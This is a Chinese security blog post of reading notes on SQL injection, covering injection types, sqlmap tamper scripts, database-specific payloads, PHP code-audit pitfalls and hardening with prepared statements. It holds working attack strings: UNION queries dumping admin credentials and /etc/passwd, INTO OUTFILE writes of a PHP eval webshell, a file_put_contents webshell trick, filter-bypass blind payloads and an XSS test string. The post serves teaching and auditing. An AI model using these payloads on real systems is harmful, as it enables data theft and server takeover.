SQL 注入关联分析

《SQL 注入关联分析》-web 安全-sm0nk

阅读笔记

0x00 序

  1. 关联分析,即从一个数据集中发现项之间的隐藏关系。

    本文结构如下:

    本文结构
  2. SQL 注入科普

    一句话:通过在用户可控参数中注入 SQL 语法,破坏原有 SQL 结构,达到编写程序时意料之外结果的攻击行为。

    影响:数据库增删改查、后台登录、getshell

    修复:

    1. 使用参数检查的方式,拦截带有 SQL 语法的参数传入应用程序
    2. 使用预编译的处理方式处理拼接了用户参数的 SQL 语句
    3. 在参数即将进入数据库执行之前,对 SQL 语句的语义进行完整性检查,确认语义没有发生变化
    4. 在出现 SQL 注入漏洞时,要在出现问题的参数拼接进 SQL 语句前进行过滤或者校验,不要依赖程序最开始处防护代码
    5. 定期审计数据库执行日志,查看是否存在应用程序正常逻辑之外的 SQL 语句执行
  3. 注入分类

    1. 按照数据包方式分类
      1. Get post cookie auth
    2. 按照呈现形式
      1. 回显型注入
        1. Int string search
      2. 盲注
        1. Error bool time
      3. 另类注入
        1. 宽字节注入
        2. http header 注入
        3. 伪静态
        4. Base64 变形

0x02 神器解读

Tamper 概览

脚本名称 作用
apostrophemask.py 用 utf8 代替引号
equaltolike.py like 代替等号
space2dash.py 绕过过滤‘=’ 替换空格字符(”),('' – ')后跟一个破折号注释,一个随机字符串和一个新行(’ n’)
greatest.py 绕过过滤’>’ ,用 GREATEST 替换大于号。
space2hash.py 空格替换为#号 随机字符串 以及换行符
apostrophenullencode.py 绕过过滤双引号,替换字符和双引号。
halfversionedmorekeywords.py 当数据库为 mysql 时绕过防火墙,每个关键字之前添加 mysql 版本评论
space2morehash.py 空格替换为 #号 以及更多随机字符串 换行符
appendnullbyte.py 在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py 绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’
space2mssqlblank.py 空格替换为其它空符号
base64encode.py 用 base64 编码替换
space2mssqlhash.py 替换空格
modsecurityversioned.py 过滤空格,包含完整的查询版本注释
space2mysqlblank.py 空格替换其它空白符号(mysql)
between.py 用 between 替换大于号(>)
space2mysqldash.py 替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
multiplespaces.py 围绕 SQL 关键字添加多个空格
space2plus.py 用+替换空格
bluecoat.py 代替空格字符后与一个有效的随机空白字符的 SQL 语句。 然后替换=为 like
nonrecursivereplacement.py 取代 predefined SQL 关键字 with 表示 suitable for 替代(例如 .replace(“SELECT”、””)) filters
space2randomblank.py 代替空格字符(“”)从一个随机的空白字符可选字符的有效集
sp_password.py 追加 sp_password’从 DBMS 日志的自动模糊处理的有效载荷的末尾
chardoubleencode.py 双 url 编码(不处理以编码的)
unionalltounion.py 替换 UNION ALL SELECT UNION SELECT
charencode.py url 编码
randomcase.py 随机大小写
unmagicquotes.py 宽字符绕过 GPC addslashes
randomcomments.py 用/**/分割 sql 关键字
charunicodeencode.py 字符串 unicode 编码
securesphere.py 追加特制的字符串
versionedmorekeywords.py 注释绕过
space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’

0x03 数据库特性

Web 报错关键字

  1. Microsoft OLE DB Provider
  2. ORA-
  3. PLS-
  4. Error in your SQL Syntax
  5. SQL Error
  6. Incorrect Syntax near
  7. Failed Mysql
  8. Unclosed Quotation Mark
  9. JDBC/ODBC Driver

版本查询

  1. Mysql: /?param=1 select count(*) from information_schema.tables group by**concat(version(),floor(rand(0)*2))

  2. MSSQL: /?param=1 and(1)=convert(int,@@version)--

  3. Sybase: /?param=1 and(1)=convert(int,@@version)--

  4. Oracle >=9.0:/?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v\_$version where rownum=1)||chr(62))) from dual)—

  5. PostgreSQL: /?param=1 and(1)=cast(version() as numeric)--

SQL 方言差异

DB 连接符 行注释 唯一的默认表变量和函数
MSSQL %2B(URL+号编码)(e.g. ?category=sho’%2b’es) -- @@PACK_RECEIVED
MYSQL %20 (URL 空格编码) # CONNECTION_ID()
Oracle ll -- --
PGsql ll -- getpgusername()
Access “a” & “b” N/A msysobjects

SQL 常用语句

内容 MSSQL MYSQL ORACLE
查看版本 select @@version select @@version select version() Select banner from v$version;
当前用户 select system_users; select suer_sname(); select user; select loginname from master..sysprocesses WHERE spid =@@SPID; select user(); select system_user(); Select user from dual
列出用户 select name from master..syslogins; select user from mysql.user; Select username from all_users ORDER BY username; Select username from all_users;
当前库 select DB_NAME(); select database(); Select global_name from global_name;
列出数据库 select name from master..sysdatabases; select schema_name from information_schema.schemata; Select ower,table_name from all_users; #列出表明
当前用户权限 select is_srvolemenber(‘sysadmin’); select grantee, privilege_type,is_grantable from information schema.user privileges; Select * from user role_privs; Select * from user_sys_privs;
服务器主机名 select @@servername; / Select sys_context(‘USERENV’,’HOST’) from dual;

盲注函数

数据 MSSQL Mysql oracle
字符串长度 LEN() LENGTH() LENGTH()
从给定字符串中提取子串 SUBSTRING(string,offset,length) SELECT SUBSTR(string,offset,length) SELECT SUBSTR(string,offset,length) From dual
字符串(‘ABC’)不带单引号的表示方式 SELECT CHAR(0X41)+CHAR(0X42)+ CHAR(0X43) Select char(65,66,67) Select chr(65)llchr(66)+chr(67) from dual
触发延时 WAITFOR DELAY ‘0:0:9’ BENCHMARK(1000000,MD5(“HACK”)) Sleep(10) BEGIN DBMS_LOCK.SLEEP(5);END; --(仅 PL/SQL 注入) UTL_INADDR.get_host_name() UTL_INADDR.get_host_address() UTL_HTTP.REQUEST()
IF 语句 If (1=1) select ‘A’ else select ‘B’ SELECT if(1=1,’A’,’B’) /

PS:SQLMAP 针对 Oracle 注入时,使用了比较费解的 SUBSTRC,好多时候得中转更改为 SUBSTR.

0x04 手工注入

应用场景

  1. 快速验证(概念性证明)
  2. 工具跑不出来了
    1. 的确是注入,但不出数据
    2. 特征不规律,挖掘规律,定制脚本
  3. 绕过过滤
    1. 有 WAF,手工注入
    2. 有过滤,搞绕过
  4. 盲注类

常用语句

判定注入 => 基础信息 => 可显字段 => 爆库 => 爆表 => 爆内容

  1. Oracle

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    oder by N
    # 爆出第一个数据库名
    and 1=2 union select 1,2,(select banner from sys.v_ where rownum=1),4,5,6 from dual
    # 依次爆出所有数据库名,假设第一个库名为 first_dbname
    and 1=2 union select 1,2,(select owner from all_tables where rownum=1 and owner<>'first_dbname'),4,5,6 from dual
    爆出表名
    and 1=2 union select 1,2,(select table_name from user_tables where rownum=1),4,5,6 from dual
    同理,同爆出下一个数据库类似爆出下一个表名就不说了,但是必须注意表名用大写或者表名大写的十六进制代码。
    有时候我们只想要某个数据库中含密码字段的表名,采用模糊查询语句,如下:
    and (select column_name from user_tab_columns where column_name like '%25pass%25')<0
    爆出表 tablename 中的第一个字段名
    and 1=2 union select 1,2,(select column_name from user_tab_columns where table_name='tablename' and rownum=1),4,5,6 from dual
    依次下一个字段名
    and 1=2 union select 1,2,(select column_name from user_tab_columns where table_name='tablename' and column_name<>'first_col_name' and rownum=1),4,5,6 from dual

    若为基于时间或者基于 bool 类型盲注,可结合 substr 、ASCII 进行赋值盲测。
    若屏蔽关键函数,可尝试 SYS_CONTEXT('USERENV','CURRENT_USER')类用法。
  2. Mysql

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    #正常语句
    192.168.192.128/sqltest/news.php?id=1
    #判断存在注入否
    192.168.192.128/sqltest/news.php?id=1 and 1=2
    #确定字段数 order by
    192.168.192.128/sqltest/news.php?id=-1 order by 3
    #测试回显字段
    192.168.192.128/sqltest/news.php?id=-1 union select 1,2,3
    #测试字段内容
    192.168.192.128/sqltest/news.php?id=-1 union select 1,user(),3
    192.168.192.128/sqltest/news.php?id=-1 union select 1,group_concat(user(),0x5e5e,version(),0x5e5e,database(),0x5e5e,@@basedir),3
    #查询当前库下所有表
    192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
    #查询 admin 表下的字段名(16 进制)
    192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x61646d696e
    #查询 admin 表下的用户名密码
    192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(name,0x5e,pass) from admin
    #读取系统文件(/etc/passwd,需转换为 16 进制)
    192.168.192.128/sqltest/news.php?id=-1 union select 1,2,load_file(0x2f6574632f706173737764)
    #文件写入
    192.168.192.128/sqltest/news.php?id=-1 union select 1,2,0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/var/www/html/1.php'--
    PS:若权限不足,换个目录
  3. Mssql

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    PS:回显型请查阅参考资料的链接,这里主要盲注的语法。
    #爆数据库版本(可先测长度)
    aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))=67/**/--&t=0
    ps:在范围界定时,可利用二分查找结合大于小于来利用;亦可直接赋值脚本爆破,依次类推直至最后一字母。
    #爆当前数据库名字
    aspx?c=c1'/**/and/**/ascii(substring(db_name(),1,1))>200/**/--&t=0
    #爆表
    aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1 name/**/from/**/dbname.sys.all_objects where type='U'/**/AND/**/is_ms_shipped=0),1,1))>0/**/--&t=0
    #爆 user 表内字段
    aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/ 1/**/COLUMN_NAME from/**/dbname.information_schema.columns/**/where/** /TABLE_NAME='user'),1,1))>0/**/--&t=0
    #爆数据
    aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/fPwd/**/from/**/User),1,1))>0/**/--&t=0

PS:关于注入绕过(bypass),内容偏多、过细,本次暂不归纳。单独一篇

0x05 漏洞挖掘

  1. 黑盒测试

    套装组合

    1. AWVS 类 + sqlmap (手工)

    2. Burp + sqlmapAPI(手工)

    3. 减少体力活的工程化

      1. Sqli-hunter

      2. GourdScan

  2. 代码审计

    白盒的方式有两种流,一种是检查所有输入,另一种是根据危险函数反向

    注入引发的特征点及敏感函数

    概要

    1. _SERVER 未转义
    2. 更新时未重构更新序列
    3. 使用了一个未定义的常量
    4. PHP 自编标签与 strip_tags 顺序逻辑绕过
    5. 可控变量进入双引号
    6. 宽字节转编码过程
    7. mysql 多表查询绕过
    8. 别名 as+反引号可闭合其后语句
    9. mysql 的类型强制转换
    10. 过滤条件是否有 if 判断进入
    11. 全局过滤存在白名单
    12. 字符串截断函数获取定长数据
    13. 括号包裹绕过
    14. 弱类型验证机制
    15. WAF 或者过滤了 and|or 的情况可以使用&&与||进行盲注。
    16. windows 下 php 中访问文件名使用”<” “>”将会被替换成”*” “?”
    17. 二次 urldecode 注入
    18. 逻辑引用二次注入

1. $_SERVER[‘PHP_SELF’]和 $_SERVER[‘QUERY_STRING’],而 $_SERVER 并没有转义,造成了注入。

2. update 更新时没有重构更新序列,导致更新其他关键字段(金钱、权限)

update
update
update

3. 在 php 中 如果使用了一个未定义的常量,PHP 假定想要的是该常量本身的名字,如同用字符串调用它一样(CONSTANT 对应 “CONSTANT”)。

此时将发出一个 E_NOTICE 级的错误

(参考http://php.net/manual/zh/language.constants.syntax.php

4. PHP 中自编写对标签的过滤或关键字过滤,应放在 strip_tags 等去除函数之后,否则引起过滤绕过。

1
2
3
4
5
6
7
8
9
<?php
function mystrip_tags($string)
{
$string = remove_xss($string);
$string = new_html_special_chars($string);
$string = strip_tags($string);//remove_xss 在 strip_tags 之前调用,所以很明显可以利用 strip_tags 函数绕过,在关键字中插入 html 标记.
return $string;
}
?>
update

5. 当可控变量进入双引号中时可形成 webshell 因此代码执行使用,${file_put_contents($_GET[f],$_GET[p])} 可以生成 webshell。

update

6. 宽字节转编码过程中出现宽字节注入

PHP 连接 MySQL 时设置 set character_set_client=gbk ,MySQL 服务器对查询语句进行 GBK 转码导致反斜杠 \%df 吃掉。

7. 构造查询语句时无法删除目标表中不存在字段时可使用 mysql 多表查询绕过

1
2
select uid,password from users,admins;
(uid 存在于 users、password 存在于 admins)
update

8. mysql 中(反引号)能作为注释符,且会自动闭合末尾没有闭合的反引号。无法使用注释符的情况下使用别名 as+反引号可闭合其后语句。

9. mysql 的类型强制转换可绕过 PHP 中 empty()函数对 0 的 false 返回

1
提交/?test=0axxx  ->  empty($_GET['test'])  =>  返回真

但是 mysql 中提交其 0axxx 到数字型时强制转换成数字 0

update

10. 存在全局过滤时观察过滤条件是否有 if 判断进入,cms 可能存在自定义 safekey 不启用全局过滤。通过程序遗留或者原有界面输出 safekey 导致绕过。

1
2
3
4
5
6
7
8
9
if($config['sy_istemplate']!='1' || md5(md5($config['sy_safekey']).$_GET['m'])!=$_POST['safekey'])
{
foreach($_POST as $id=>$v){
safesql($id,$v,"POST",$config);
$id = sfkeyword($id,$config);
$v = sfkeyword($v,$config);
$_POST[$id]=common_htmlspecialchars($v);
}
}

11. 由于全局过滤存在白名单限定功能,可使用无用参数带入绕过。

1
$webscan_white_directory='admin|\/dede\/|\/install\/';

请求中包含了白名单参数所以放行。

1
http://www.target.com/index.php/dede/?m=foo&c=bar&id=1' and 1=2 union select xxx

12. 字符串截断函数获取定长数据,截取 \\\’ 前一位,闭合语句。

利用条件必须是存在两个可控参数,前闭合,后注入。

13. 过滤了空格,逗号的注入,可使用括号包裹绕过。具体如遇到 select from(关键字空格判断的正则,且剔除/**/等)可使用括号包裹查询字段绕过。

14. 由于 PHP 弱类型验证机制,导致 ==in_array() 等可通过强制转换绕过验证。

update

15. WAF 或者过滤了 and|or 的情况可以使用&&与||进行盲注。

1
2
http://demo.74cms.com/user/user_invited.php?id=1%20||%20strcmp(substr(user(),1,13),char(114,111,111,116,64,108,111,99,97,108,104,111,115,116))&act=invited

16. windows 下 php 中访问文件名使用”<” “>”将会被替换成”*” “?”,分别代表 N 个任意字符与 1 个任意字符。

1
2
file_get_contents("/images/".$_GET['a'].".jpg");

可使用 test.php?a=../a<%00 访问对应 php 文件。

17. 使用了 urldecode 或者 rawurldecode 函数,则会导致二次解码声场单引号而发生注入。

1
2
3
4
5
6
7
<?php
$a=addslashes($_GET['p']);
$b=urldecode($a);
echo '$a=' .$a;
echo '<br />';
echo '$b=' .$b;
?>
update

18. 逻辑引用,导致二次注入

部分盲点

盲点如下:

  1. 注入点类似 id=1 这种整型的参数就会完全无视 GPC 的过滤;
  2. 注入点包含键值对的,那么这里只检测了 value,对 key 的过滤就没有防护;
  3. 有时候全局的过滤只过滤掉 GET、POST 和 COOKIE,但是没过滤 SERVER。

附常见的 SERVER 变量(具体含义自行百度):

1
2
QUERY_STRING,X_FORWARDED_FOR,CLIENT_IP,HTTP_HOST,ACCEPT_LANGUAGE

PS:若对注入的代码审计有实际操类演练,参考[email protected]

0x06 安全加固

源码加固

1. 预编译处理

参数化查询是指在设计与数据库链接并访问数据时,在需要填入数值或数据的地方,使用参数来给值。在 SQL 语句中,这些参数通常一占位符来表示。

MSSQL(ASP.NET)

为了提高 sql 执行速度,请为 SqlParameter 参数加上 SqlDbType 和 size 属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
SqlConnection conn = new SqlConnection("server=(local)\\SQL2005;user id=sa;pwd=12345;initial catalog=TestDb");
conn.Open();
SqlCommand cmd = new SqlCommand("SELECT TOP 1 * FROM [User] WHERE UserName = @UserName AND Password = @Password");
cmd.Connection = conn;
cmd.Parameters.AddWithValue("UserName", "user01");
cmd.Parameters.AddWithValue("Password", "123456");

reader = cmd.ExecuteReader();
reader.Read();
int userId = reader.GetInt32(0);

reader.Close();
conn.Close();

PHP

1
2
3
4
5
6
7
8
9
10
11
12
13
// 实例化数据抽象层对象
$db = new PDO('pgsql:host=127.0.0.1;port=5432;dbname=testdb');
// 对 SQL 语句执行 prepare,得到 PDOStatement 对象
$stmt = $db->prepare('SELECT * FROM "myTable" WHERE "id" = :id AND "is_valid" = :is_valid');
// 绑定参数
$stmt->bindValue(':id', $id);
$stmt->bindValue(':is_valid', true);
// 查询
$stmt->execute();
// 获取数据
foreach($stmt as $row) {
var_dump($row);
}

JAVA

1
2
3
4
5
java.sql.PreparedStatement prep = connection.prepareStatement(
"SELECT * FROM `users` WHERE USERNAME = ? AND PASSWORD = ?");
prep.setString(1, username);
prep.setString(2, password);
prep.executeQuery();

PS:尽管 SQL 语句大体相似,但是在不同数据库的特点,可能参数化 SQL 语句不同,例如在 Access 中参数化 SQL 语句是在参数直接以“?”作为参数名,在 SQL Server 中是参数有“@”前缀,在 MySQL 中是参数有“?”前缀,在 Oracle 中参数以“:”为前缀。

2.过滤函数的使用

  1. addslashes()
  2. mysql_escape_string()
  3. mysql_real_escape_string()
  4. intval()

3.框架及第三方过滤函数与类

  1. JAVA hibernate 框架
  2. Others

产品加固

  • Web 应用防火墙——WAF
  • Key: 云 waf、安全狗、云锁、sqlchop

0x07 关联应用

Getshell

  1. 注入,查数据,找管理员密码,进后台,找上传,看返回,getshell

  2. PHP MYSQL 类,大权限,知路径,传文件,回 shell(上传&命令执行),OS-SHELL。

  3. MSSQL 大权限,知路径,传文件,回 shell。结合 xp_cmdshell 执行系统命令。

  4. Phpmyadmin getshell (编码)

    select '<?eval($_POST[cmd]);?>' into outfile 'd:/wwwroot/1.php';

  5. Union select getshell

    and 1=2 union select 0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/alidata/www/cms/ttbdxt/conf.php'--

关联功能点

序号 功能点 参数
1 登录 Username password
2 Header Cookie Referer x-forward remote-ip
3 查询展示 , 数据写入(表单) , 数据更新 id u category price str value
4 数据搜素 Key
5 伪静态 (同 3),加*
6 Mysql 不安全配置 , Set character_set_client=gbk %df%27
7 传参(横向数据流向、纵向入库流向) Parameter (同 3)
8 订单类多级交互、重新编辑 , 配送地址、资料编辑 二次注入
9 APP 仍调用 WEB API 同 3
10 编码 urldecode base64 Urldecode() rawurldecode()

补缺补漏

伪静态

  1. PHP 伪静态的图文代码详细介绍

  2. 静态网页就是,比如知乎网站上放了一个 abc.html 文件,你想访问它就直接输入 zhihu. com/abc.html。Web 服务器看到这样的地址就直接找到这个文件输出给客户端。

    动态网页就是,假如你想做一个显示当前时间的页面,那么就可以写个 PHP 文件,然后访问 zhihu. com/abc.php。Web 服务器看到这样的地址,找到 abc.php 这个文件,会交给 PHP 执行后返回给客户端。而动态网页往往要输入参数,所以地址就变成 zhihu. com/abc.php?a=1&b=2。

    搜索引擎比较烦这种带问号的动态网页,因为参数可以随便加,而返回内容却不变,所以会对这种网页降权。

    于是有了 mod_rewrite,它可以重新映射地址。比如当前这个页面的地址 htt p://www.zhihu. com/question/20153311,Web 服务器收到请求后会重新映射为 www.zhihu. com/question.php?n=20153311,然后再执行那个 PHP 程序。(以上网址均为假设)这样,在内部不改变的情况下,对外呈现出来的网址变成了没有问号的象静态网页的网址一样。

Base64 变形

  1. 搜素引擎关键词:inurl:php?aWQ9

  2. sqlmap 如何跑 base64 加密了的注入点

    这里的 base64 不仅是值为 base64,参数的名字都一起 base64 了。

    将以下 demo 保存为 sqlmap.php

    1
    2
    3
    4
    <?php
    $id = base64_encode("id=".$_GET['id']);
    echo file_get_contents("http://www.xxxx.com/project_detail.php?{$id}");
    ?>

    sqlmap.py -u "http://localhost/sqlmap.php?id=12" -v3 --dbs

    若是仅有参数值进行了 base64,那么用 sqlmap 即可:

    sqlmap -u http://xxxx.com/index.php?tel=ltenig9yicc4occ9jzg5 --tamper base64encode.py – dbs

白盒审计

注入引发的特征点及敏感函数

  1. PHP $_SERVER[’PHP_SELF’]

如:index.php?str=1234 PHP_SELF 是 index.php。使用不但会造成 xss 与 sqli:

1
<form action="<?php echo $_SERVER['PHP_SELF']; ?>"> <input type="submit" name="submit" value="submit" /> </form>

1
http://127.0.0.1/test.php/%22%3E%20%3Cscript%3Ealert('xss')%3C/script%3E

  1. $_SERVER[‘QUERY_STRING’]

    1
    $_SERVER[’REQUEST_URI’]会原封不动的反映网址本身,网址中如果有%3C,那么你得到的也将会是%3C,而$ _SERVER[’PHP_SELF’]会对网址进行一次urldecode操作,网址中的%3C将会变成字符“<”,所以就产生了漏洞。
  2. 未定义常量

if(IN_ADMIN != TRUE) 等式不成立,非 0null 都为 true

1
2
3
4
5
6
7
<?php
if(IN_ADMIN == TRUE)
{
echo "string";
}
?>
//输出 string

  1. PHP 中自编写对标签的过滤

PHP 中自编写对标签的过滤或关键字过滤,应放在 strip_tags 等去除函数之后,否则引起过滤绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
function checkSQLi($string)
{
if(strpos("select", $string)){return 1;}
}

function mystrip_tags($string)
{
if(checkSQLi($string)){
echo "caught by waf!";
return 0;
}
$string = strip_tags($string);//checkSQLi()在 strip_tags 之前调用,所以很明显可以利用 strip_tags 函数绕过,在关键字中插入 html 标记.
return $string;
}

echo mystrip_tags($_GET['id'])."<br>\n";
?>

?id=user/**/W<a>HERE/**/IF((S<a>ELECT/**/A<a>SCII(S<a>UBSTRING( PASSWORD,1,1))F<a>ROM/**/ts_user/**/L<a>IMIT%201)=101, 1=S<a>LEEP(2.02),0)%23

  1. 当可控变量进入双引号中时可形成 webshell

  2. php 可变变量

  3. eval

  4. PHP file_put_contents() 函数

  5. WebShell 的一些方法 1

    WebShell 的一些方法 2

  6. mysql 多表查询

select user from mysql.user;

  1. Mysql ` 作为注释

在某些情况下,mysql 会自动闭合没有闭合的

1
`

符合号,导致注入的 ` 后面都作为一个别名:

1
select 'username','password' from pre_common_statuser as ` as statistic from common_stat where uid=1

as statistic from common_stat where uid=1 即为 pre_common_statuser 的别名

1
SELECT 1 as `as`;

  1. mysql 的类型强制转换

1
例如:提交/?test=0axxx    -> empty($_GET['test']) => 返回真

但是 mysql 中提交其 0axxx 到数字型时强制转换成数字 0

  1. 全局的过滤只过滤掉 GET、POST 和 COOKIE,但是没过滤 SERVER。
    附常见的 SERVER 变量(具体含义自行百度):

    1
    2
    3
    4
    5
    HTTP_X_FORWARDED_FOR:浏览当前页面的用户计算机的 ip 地址
    HTTP_CLIENT_IP:客户端的 ip
    HTTP_HOST:获取当前域名
    HTTP_USER_AGENT:浏览器类型
    HTTP_ACCEPT_LANGUAGE:浏览器语言
    1
    2
    3
    4
    在 PHP 中使用 $_SERVER["REMOTE_ADDR"] 来取得客户端的 IP 地址,但如果客户端是使用代理服务器来访问,那取到的就是代理服务器的 IP 地址,而不是真正的客户端 IP 地址。要想透过代理服务器取得客户端的真实 IP 地址,就要使用 $_SERVER["HTTP_X_FORWARDED_FOR"] 来读取。

    不过要注意的事,并不是每个代理服务器都能用 $_SERVER["HTTP_X_FORWARDED_FOR"] 来读取客户端的真实 IP,有些用此方法读取到的仍然是代理服务器的 IP。
    还有一点需要注意的是:如果客户端没有通过代理服务器来访问,那么用 $_SERVER["HTTP_X_FORWARDED_FOR"] 取到的值将是空的。
    1
    所以,在实际程序中,应尽量使用_SERVER["HTTP_HOST"] ,比较保险和可靠。

来呀快活呀


SQL 注入关联分析
https://www.tr0y.wang/2018/04/07/SQL注入关联分析-WooYun/
作者
Tr0y
发布于
2018年4月7日
更新于
2024年6月3日
许可协议